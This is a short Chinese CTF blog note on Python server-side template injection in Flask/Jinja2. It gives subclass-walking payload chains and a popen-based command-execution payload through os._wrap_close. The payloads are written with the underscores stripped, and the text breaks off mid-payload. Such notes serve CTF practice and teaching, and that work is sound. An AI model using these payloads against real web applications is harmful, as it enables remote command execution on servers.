SSTI 小结

最新推荐文章于 2023-10-10 18:39:46 发布

Risk2S

最新推荐文章于 2023-10-10 18:39:46 发布

阅读量455

点赞数

分类专栏： python CTF 文章标签： python 开发语言

本文链接：https://blog.csdn.net/baidu_36359398/article/details/129194918

版权

本文详细介绍了Python SSTI（服务器端模板注入）漏洞的利用方法，包括查找父类`object`的子类，寻找涉及命令执行或文件操作的模块，如`os._wrap_close`的`popen`函数。此外，还讲解了如何利用`globals()`、`import()`等内建函数，以及在Flask和Jinja2框架中的SSTI利用技巧，提供了一种通过遍历数字索引并匹配响应结果来确定可利用类的策略。

摘要由CSDN通过智能技术生成

查找子类：
‘’. class. bases[0]. subclasses()
[]. class. bases[0]. subclasses()
[]. class. mro[-1]. subclasses()
实际的索引可能不同，需要动态识别

str(字符串)、dict(字典)、tuple(元组)、list(列表) 的基类都是object
class：用来查看变量所属的类，根据前面的变量形式可以得到其所属的类。
bases：用来查看类的基类，也可以使用数组索引来查看特定位置的值。
subclasses()：查看当前类的子类组成的列表，即返回基类object的子类。查看子类列表：
for i in enumerate(‘’.class.mro[-1].subclasses()): print(i)

for i in enumerate(object.subclasses()): print(i)
SSTI 的主要目的就是从这么多的子类中找出可以利用的类（一般是指读写文件或执行命令的类）加以利用。
找到父类<type ‘object’> —> 寻找子类 —> 找关于命令执行或者文件操作的模块。
获取基类方法： mro base

builtins 方法是做为默认初始模块出现的，可用于查看当前所有导入的内建函数。
globals：该方法会以字典的形式返回当前位置的所有全局变量。
import()：该方法用于动态加载类和函数。

Python3：
使用file类读取文件的方法： <class ‘_frozen_importlib_external.FileLoader’>这个类索引号；
利用os._warp_close类的 popen函数执行命令：

[].class.mro[-1].subclasses()[128].init.globals’popen’.read()
().class.bases[